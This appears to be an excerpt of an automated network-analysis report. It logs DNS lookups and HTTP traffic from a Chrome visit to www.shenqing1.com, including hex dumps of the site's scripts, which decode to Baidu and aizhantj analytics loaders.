Dec 2, 2024 04:58:00.595943928 CET	1.1.1.1	192.168.2.4	0xdc07	No error (0)	push.zhanzhang.baidu.com	share.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:00.595943928 CET	1.1.1.1	192.168.2.4	0xdc07	No error (0)	share.jomodns.com	share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:00.595943928 CET	1.1.1.1	192.168.2.4	0xdc07	No error (0)	share.n.shifen.com		112.34.113.148	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.595943928 CET	1.1.1.1	192.168.2.4	0xdc07	No error (0)	share.n.shifen.com		163.177.17.97	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.595943928 CET	1.1.1.1	192.168.2.4	0xdc07	No error (0)	share.n.shifen.com		180.101.212.103	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.595943928 CET	1.1.1.1	192.168.2.4	0xdc07	No error (0)	share.n.shifen.com		39.156.68.163	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.595943928 CET	1.1.1.1	192.168.2.4	0xdc07	No error (0)	share.n.shifen.com		182.61.201.94	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.595943928 CET	1.1.1.1	192.168.2.4	0xdc07	No error (0)	share.n.shifen.com		14.215.182.161	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.595943928 CET	1.1.1.1	192.168.2.4	0xdc07	No error (0)	share.n.shifen.com		182.61.244.229	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.595943928 CET	1.1.1.1	192.168.2.4	0xdc07	No error (0)	share.n.shifen.com		182.61.201.93	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.596563101 CET	1.1.1.1	192.168.2.4	0xa11e	No error (0)	push.zhanzhang.baidu.com	share.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:00.596563101 CET	1.1.1.1	192.168.2.4	0xa11e	No error (0)	share.jomodns.com	share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:00.834824085 CET	1.1.1.1	192.168.2.4	0x58e0	No error (0)	hm.baidu.com	hm.e.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:00.834824085 CET	1.1.1.1	192.168.2.4	0x58e0	No error (0)	hm.e.shifen.com		111.45.3.198	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.834824085 CET	1.1.1.1	192.168.2.4	0x58e0	No error (0)	hm.e.shifen.com		183.240.98.228	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.834824085 CET	1.1.1.1	192.168.2.4	0x58e0	No error (0)	hm.e.shifen.com		14.215.182.140	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.834824085 CET	1.1.1.1	192.168.2.4	0x58e0	No error (0)	hm.e.shifen.com		14.215.183.79	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.834824085 CET	1.1.1.1	192.168.2.4	0x58e0	No error (0)	hm.e.shifen.com		111.45.11.83	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.835747957 CET	1.1.1.1	192.168.2.4	0x3345	No error (0)	hm.baidu.com	hm.e.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:01.655162096 CET	1.1.1.1	192.168.2.4	0x50f8	No error (0)	node22.aizhantj.com	node22.aizhantj.com.wswebpic.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:01.655162096 CET	1.1.1.1	192.168.2.4	0x50f8	No error (0)	node22.aizhantj.com.wswebpic.com		163.171.142.154	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.655162096 CET	1.1.1.1	192.168.2.4	0x50f8	No error (0)	node22.aizhantj.com.wswebpic.com		174.35.118.63	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.655194998 CET	1.1.1.1	192.168.2.4	0xd9e2	Name error (3)	_21233._https.node22.aizhantj.com	none	none	65	IN (0x0001)	false
Dec 2, 2024 04:58:01.723661900 CET	1.1.1.1	192.168.2.4	0x83f9	No error (0)	api.share.baidu.com	api.share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:01.723671913 CET	1.1.1.1	192.168.2.4	0xbebd	No error (0)	api.share.baidu.com	api.share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726334095 CET	1.1.1.1	192.168.2.4	0x644a	No error (0)	api.share.baidu.com	api.share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726334095 CET	1.1.1.1	192.168.2.4	0x644a	No error (0)	api.share.n.shifen.com		180.101.212.103	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726334095 CET	1.1.1.1	192.168.2.4	0x644a	No error (0)	api.share.n.shifen.com		182.61.201.93	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726334095 CET	1.1.1.1	192.168.2.4	0x644a	No error (0)	api.share.n.shifen.com		182.61.201.94	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726334095 CET	1.1.1.1	192.168.2.4	0x644a	No error (0)	api.share.n.shifen.com		182.61.244.229	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726334095 CET	1.1.1.1	192.168.2.4	0x644a	No error (0)	api.share.n.shifen.com		14.215.182.161	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726334095 CET	1.1.1.1	192.168.2.4	0x644a	No error (0)	api.share.n.shifen.com		39.156.68.163	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726334095 CET	1.1.1.1	192.168.2.4	0x644a	No error (0)	api.share.n.shifen.com		112.34.113.148	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726334095 CET	1.1.1.1	192.168.2.4	0x644a	No error (0)	api.share.n.shifen.com		163.177.17.97	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726490021 CET	1.1.1.1	192.168.2.4	0x364a	No error (0)	api.share.baidu.com	api.share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726490021 CET	1.1.1.1	192.168.2.4	0x364a	No error (0)	api.share.n.shifen.com		180.101.212.103	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726490021 CET	1.1.1.1	192.168.2.4	0x364a	No error (0)	api.share.n.shifen.com		182.61.201.93	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726490021 CET	1.1.1.1	192.168.2.4	0x364a	No error (0)	api.share.n.shifen.com		182.61.201.94	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726490021 CET	1.1.1.1	192.168.2.4	0x364a	No error (0)	api.share.n.shifen.com		182.61.244.229	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726490021 CET	1.1.1.1	192.168.2.4	0x364a	No error (0)	api.share.n.shifen.com		14.215.182.161	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726490021 CET	1.1.1.1	192.168.2.4	0x364a	No error (0)	api.share.n.shifen.com		39.156.68.163	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726490021 CET	1.1.1.1	192.168.2.4	0x364a	No error (0)	api.share.n.shifen.com		112.34.113.148	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.726490021 CET	1.1.1.1	192.168.2.4	0x364a	No error (0)	api.share.n.shifen.com		163.177.17.97	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:03.498444080 CET	1.1.1.1	192.168.2.4	0x6bf0	No error (0)	api.share.baidu.com	api.share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:03.498444080 CET	1.1.1.1	192.168.2.4	0x6bf0	No error (0)	api.share.n.shifen.com		112.34.113.148	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:03.498444080 CET	1.1.1.1	192.168.2.4	0x6bf0	No error (0)	api.share.n.shifen.com		182.61.201.93	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:03.498444080 CET	1.1.1.1	192.168.2.4	0x6bf0	No error (0)	api.share.n.shifen.com		182.61.201.94	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:03.498444080 CET	1.1.1.1	192.168.2.4	0x6bf0	No error (0)	api.share.n.shifen.com		182.61.244.229	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:03.498444080 CET	1.1.1.1	192.168.2.4	0x6bf0	No error (0)	api.share.n.shifen.com		14.215.182.161	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:03.498444080 CET	1.1.1.1	192.168.2.4	0x6bf0	No error (0)	api.share.n.shifen.com		163.177.17.97	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:03.498444080 CET	1.1.1.1	192.168.2.4	0x6bf0	No error (0)	api.share.n.shifen.com		180.101.212.103	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:03.498444080 CET	1.1.1.1	192.168.2.4	0x6bf0	No error (0)	api.share.n.shifen.com		39.156.68.163	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:03.499015093 CET	1.1.1.1	192.168.2.4	0xe7a8	No error (0)	api.share.baidu.com	api.share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:58:04.065768003 CET	1.1.1.1	192.168.2.4	0x3b49	No error (0)	templatesmetadata.office.net	templatesmetadata.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

www.shenqing1.com

hm.baidu.com

push.zhanzhang.baidu.com

api.share.baidu.com

slscr.update.microsoft.com

otelrules.azureedge.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49745	38.31.228.123	80	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 04:57:55.760324955 CET	432	OUT	GET / HTTP/1.1 Host: www.shenqing1.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 2, 2024 04:57:56.970153093 CET	828	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 03:57:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 32 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 0a 9d 53 4d 8f 94 30 18 be 6f b2 ff a1 c1 44 98 64 b7 0c 30 0c b0 0c 93 0c f3 71 dc 78 d8 9b f1 50 a0 c3 30 02 45 5a e6 6b b3 bf c8 a3 27 2f 5e 34 31 1b 35 9a 18 13 4f fe 08 7f 80 b1 2d a8 b3 c9 ee c5 26 e4 e9 db 3e ef f3 7e 95 d1 8a 15 39 d8 15 79 49 03 65 c5 58 75 a1 eb db ed 16 6e 2d 48 ea 54 37 3c cf d3 77 82 a3 8c 4f 4f 46 2b 8c 12 81 34 ae b3 8a 8d 13 12 37 05 2e 19 64 19 cb 71 a0 7e fa f9 ee d7 b7 ef b7 ef 6f 3f be 7d f5 f5 cb e7 1f af 5f 7e 78 a3 fa 23 bd a3 73 47 49 1c 3f 7e b4 f3 8c 99 e1 73 74 06 8b a1 c0 a1 eb da d2 b6 2d 89 f6 c2 31 fc 33 be 19 cc bd 89 24 cc 2c 53 12 a6 e1 5c 12 ac 41 8b c3 c5 cc 97 bc 89 73 df fd 70 16 b6 7e 43 77 20 6d 73 22 d1 ed b7 68 9b de 42 9e db 03 57 06 b4 a7 fd ee 60 de 66 12 da fd 63 01 db 31 5d 69 cf 43 c9 73 bd 69 1b c0 e9 87 f2 de 18 c8 84 dc 99 e5 75 15 84 b2 02 c7 9c c9 0c 6d cf 74 da 4c 0c d7 5f a3 0d 92 9c b9 25 39 6e df e0 0d 6b db c4 fb 55 60 86 80 18 cb 39 7e d1 64 9b 40 99 92 92 f1 8e 9f 5f ed 2b ac 80 b8 [TRUNCATED] Data Ascii: 26dSM0oDd0qxP0EZk'/^415O-&>~9yIeXun-HT7<wOOF+47.dq~o?}_~x#sGI?~st-13$,S\Asp~Cw ms"hBW`fc1]iCsiumtL_%9nkU`9~d@_+\|PM1SNL@`\:>u(zLpMD_;m1HOO_T#9jIMIY-I2+H<jiY-v=AR+ 2#gzixjS$WneI#Fu]f+Ts%I0Jk%Ug43#7yS0
Dec 2, 2024 04:57:57.002695084 CET	315	OUT	GET /common.js HTTP/1.1 Host: www.shenqing1.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://www.shenqing1.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 2, 2024 04:57:57.379698038 CET	1150	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 03:57:57 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 33 61 30 0d 0a 1f 8b 08 00 00 00 00 00 00 0a 85 54 dd 8f db 36 0c 7f cf 5f a1 09 58 2d df 87 93 bb db b5 c5 e5 03 e8 6d 1d 50 60 b7 16 6b f7 74 bb 07 d9 62 6c a1 b2 64 48 72 72 41 93 ff 7d 94 1c 27 ce ba dd fc 40 93 14 29 92 3f 91 5c 71 4b bc f4 0a 9c b7 64 4e 84 29 da 1a b4 cf a2 6e 3a 5a e1 31 b7 e1 e4 91 fe d5 4e 26 af df 06 fa e6 a7 01 9d 44 7a 13 e8 0d 0f f4 7a 79 a4 37 57 91 76 a7 6f a2 1e 06 fa a8 b9 b9 1d e8 3b cb eb ef 2c af 07 94 0f f4 af 07 f4 6d 47 e9 53 97 b7 92 fa eb 07 2d e0 19 b3 7f e0 be ca 96 ca 18 cb 58 e4 2d d7 c2 d4 2c 25 67 a1 be 4c 81 2e 7d 95 a6 d3 d1 68 3c 1e 15 46 3b 4f 1a 6e 79 ed d0 59 c3 9a fc f9 c7 6f 9f 81 db a2 fa 14 b5 6c 2d d1 7f 9d 29 53 70 2f 8d ce 5c 3c 44 ff ce b7 de 44 3b 74 ee 6e c9 4a f0 2c 69 30 72 12 62 c8 25 93 ee c1 e4 52 01 4b 53 f2 6d 44 f0 43 e5 de ad d7 10 e2 c0 ff 8a 0a 60 98 e4 e3 a1 a0 27 72 de 47 48 a3 e1 8e 80 72 f0 7f 5e 18 39 1a 8f 76 a3 d1 b2 d5 45 48 fc 68 6b 82 61 17 39 a0 e7 42 e5 c9 2c f6 c1 22 c1 80 87 2e 39 47 f5 b8 d3 cf 84 5c 11 29 e6 [TRUNCATED] Data Ascii: 3a0T6_X-mP`ktbldHrrA}'@)?\qKdN)n:Z1N&Dzzy7Wvo;,mGS-X-,%gL.}h<F;OnyYol-)Sp/\<DD;tnJ,i0rb%RKSmDC`'rGHr^9vEHhka9B,".9G\)Uf](UFSFV )YK^y0;b]^'Vq2}GFbe\PLWXrN7(-Obe)7VP%{l1!J4Dco@1["6oEkC(.8^H#+Fm^K,246}a[\|5U-C%;_VTRci,a$dyMu_\Mur\|</Gp_tbh?,TnC$,'?cE(yt<4MO$/d;5o&u#?bZX"x H,893J1'G`,2t=quQnOQ1n}~{~TE>N24D3WE$}zpYv\|%ia5?o\ 1b{p5XN<UJ:XfQHT0
Dec 2, 2024 04:58:42.387161016 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49746	38.31.228.123	80	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 04:57:57.003110886 CET	311	OUT	GET /tj.js HTTP/1.1 Host: www.shenqing1.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://www.shenqing1.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 2, 2024 04:57:57.397850990 CET	935	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 03:57:57 GMT Content-Type: application/x-javascript Content-Length: 779 Connection: keep-alive Data Raw: 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 20 20 68 6d 2e 73 72 63 20 3d 20 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 66 36 35 62 35 64 65 63 66 64 61 34 35 37 64 64 62 34 38 66 62 31 31 32 38 35 62 37 30 33 33 33 22 3b 0d 0a 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 20 0d 0a 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 68 6d 2c 20 73 29 3b 0d 0a 7d 29 28 29 3b 0d 0a 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 [TRUNCATED] Data Ascii: var _hmt = _hmt \|\| [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?f65b5decfda457ddb48fb11285b70333"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();var _hmt = _hmt \|\| [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?282ad46c18b6295a8bb8e1da991aa804"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();var _mtj = _mtj \|\| []; (function () { var mtj = document.createElement("script"); mtj.src = "https://node22.aizhantj.com:21233/tjjs/?k=d94f3xexzei"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(mtj, s); })();
Dec 2, 2024 04:58:03.467787027 CET	612	OUT	GET /favicon.ico HTTP/1.1 Host: www.shenqing1.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://www.shenqing1.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: Hm_lvt_282ad46c18b6295a8bb8e1da991aa804=1733111880; Hm_lpvt_282ad46c18b6295a8bb8e1da991aa804=1733111880; HMACCOUNT=436E3B5EE945DDD8; Hm_tf_d94f3xexzei=1733111881; Hm_lvt_d94f3xexzei=1733111881; Hm_lpvt_d94f3xexzei=1733111881
Dec 2, 2024 04:58:03.862742901 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 03:58:03 GMT Content-Type: image/x-icon Content-Length: 1150 Last-Modified: Fri, 01 Jul 2011 08:14:23 GMT Connection: keep-alive ETag: "4e0d81df-47e" Expires: Sat, 07 Dec 2024 03:58:03 GMT Cache-Control: max-age=432000 Accept-Ranges: bytes Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 d8 ee ff 27 51 9f ff ae 51 9f ff ae d8 ee ff 27 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 da f2 ff 25 67 ba ff 98 00 6f ff ff 00 6d ff ff 00 6d ff ff 00 6f ff ff 67 b9 ff 98 da f2 ff 25 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 de f5 ff 21 68 c5 ff 97 00 87 ff ff 00 8a ff ff 40 ad ff bf c1 de f5 42 c1 de f5 42 40 ad ff bf 00 8a ff ff 00 87 ff ff 68 c5 ff 97 de f5 ff 21 ff ff ff 00 ff ff ff 00 e1 f4 ff 1e 6f c8 ff 90 00 96 ff ff 00 a6 ff ff 3d c2 ff c2 bc e5 f8 46 d1 df e7 3b 8f 88 8d a1 8f 88 8d a1 d1 df e7 3b bc e5 f8 46 3d c2 ff c2 00 a6 ff ff 00 95 ff ff 6f cb ff 90 e1 f5 ff 1e 0d 89 ff f2 00 91 ff ff 3a c4 ff c5 bf ed fa 42 d5 e6 eb 38 [TRUNCATED] Data Ascii: h( @'QQ'%gommog%!h@BB@h!o=F;;F=o:B8P6@?2K?1JP6@8B:v\|x@Gf@S88i>L>Axkqf2YnTe}Ti5ko=R{Tr=oyqk`jqLYks<eGj]R]GX_NWiQkM>ZR^f\|gP0LSF`yfztseo=AA=o;_PbFaQBd"^gipmxMy{Qp88{QjO{x\|evTfv[GB8oLjYCQXBPoKi8B@mT$nX}di=F;;F=id\|!mwv@BB
Dec 2, 2024 04:58:03.862765074 CET	220	IN	Data Raw: 40 b9 96 bf 00 a7 76 ff 00 9f 78 ff 6c ca b0 97 e0 f4 ee 21 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 da f6 ef 25 68 cf b6 98 04 91 6f ff 04 8b 64 ff 04 8b 64 ff 05 90 6e ff 68 cf b5 98 da f6 ef 25 ff ff ff 00 ff ff Data Ascii: @vxl!%hoddnh%'\\'
Dec 2, 2024 04:58:48.871424913 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49749	38.31.228.123	80	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 04:57:57.681456089 CET	279	OUT	GET /common.js HTTP/1.1 Host: www.shenqing1.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 2, 2024 04:57:58.934551954 CET	1150	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 03:57:58 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 33 61 30 0d 0a 1f 8b 08 00 00 00 00 00 00 0a 85 54 dd 8f db 36 0c 7f cf 5f a1 09 58 2d df 87 93 bb db b5 c5 e5 03 e8 6d 1d 50 60 b7 16 6b f7 74 bb 07 d9 62 6c a1 b2 64 48 72 72 41 93 ff 7d 94 1c 27 ce ba dd fc 40 93 14 29 92 3f 91 5c 71 4b bc f4 0a 9c b7 64 4e 84 29 da 1a b4 cf a2 6e 3a 5a e1 31 b7 e1 e4 91 fe d5 4e 26 af df 06 fa e6 a7 01 9d 44 7a 13 e8 0d 0f f4 7a 79 a4 37 57 91 76 a7 6f a2 1e 06 fa a8 b9 b9 1d e8 3b cb eb ef 2c af 07 94 0f f4 af 07 f4 6d 47 e9 53 97 b7 92 fa eb 07 2d e0 19 b3 7f e0 be ca 96 ca 18 cb 58 e4 2d d7 c2 d4 2c 25 67 a1 be 4c 81 2e 7d 95 a6 d3 d1 68 3c 1e 15 46 3b 4f 1a 6e 79 ed d0 59 c3 9a fc f9 c7 6f 9f 81 db a2 fa 14 b5 6c 2d d1 7f 9d 29 53 70 2f 8d ce 5c 3c 44 ff ce b7 de 44 3b 74 ee 6e c9 4a f0 2c 69 30 72 12 62 c8 25 93 ee c1 e4 52 01 4b 53 f2 6d 44 f0 43 e5 de ad d7 10 e2 c0 ff 8a 0a 60 98 e4 e3 a1 a0 27 72 de 47 48 a3 e1 8e 80 72 f0 7f 5e 18 39 1a 8f 76 a3 d1 b2 d5 45 48 fc 68 6b 82 61 17 39 a0 e7 42 e5 c9 2c f6 c1 22 c1 80 87 2e 39 47 f5 b8 d3 cf 84 5c 11 29 e6 [TRUNCATED] Data Ascii: 3a0T6_X-mP`ktbldHrrA}'@)?\qKdN)n:Z1N&Dzzy7Wvo;,mGS-X-,%gL.}h<F;OnyYol-)Sp/\<DD;tnJ,i0rb%RKSmDC`'rGHr^9vEHhka9B,".9G\)Uf](UFSFV )YK^y0;b]^'Vq2}GFbe\PLWXrN7(-Obe)7VP%{l1!J4Dco@1["6oEkC(.8^H#+Fm^K,246}a[\|5U-C%;_VTRci,a$dyMu_\Mur\|</Gp_tbh?,TnC$,'?cE(yt<4MO$/d;5o&u#?bZX"x H,893J1'G`,2t=quQnOQ1n}~{~TE>N24D3WE$}zpYv\|%ia5?o\ 1b{p5XN<UJ:XfQHT0
Dec 2, 2024 04:58:43.949512959 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49750	38.31.228.123	80	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 04:57:57.681658983 CET	275	OUT	GET /tj.js HTTP/1.1 Host: www.shenqing1.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 2, 2024 04:57:58.987365961 CET	935	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 03:57:58 GMT Content-Type: application/x-javascript Content-Length: 779 Connection: keep-alive Data Raw: 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 20 20 68 6d 2e 73 72 63 20 3d 20 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 66 36 35 62 35 64 65 63 66 64 61 34 35 37 64 64 62 34 38 66 62 31 31 32 38 35 62 37 30 33 33 33 22 3b 0d 0a 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 20 0d 0a 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 68 6d 2c 20 73 29 3b 0d 0a 7d 29 28 29 3b 0d 0a 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 [TRUNCATED] Data Ascii: var _hmt = _hmt \|\| [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?f65b5decfda457ddb48fb11285b70333"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();var _hmt = _hmt \|\| [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?282ad46c18b6295a8bb8e1da991aa804"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();var _mtj = _mtj \|\| []; (function () { var mtj = document.createElement("script"); mtj.src = "https://node22.aizhantj.com:21233/tjjs/?k=d94f3xexzei"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(mtj, s); })();
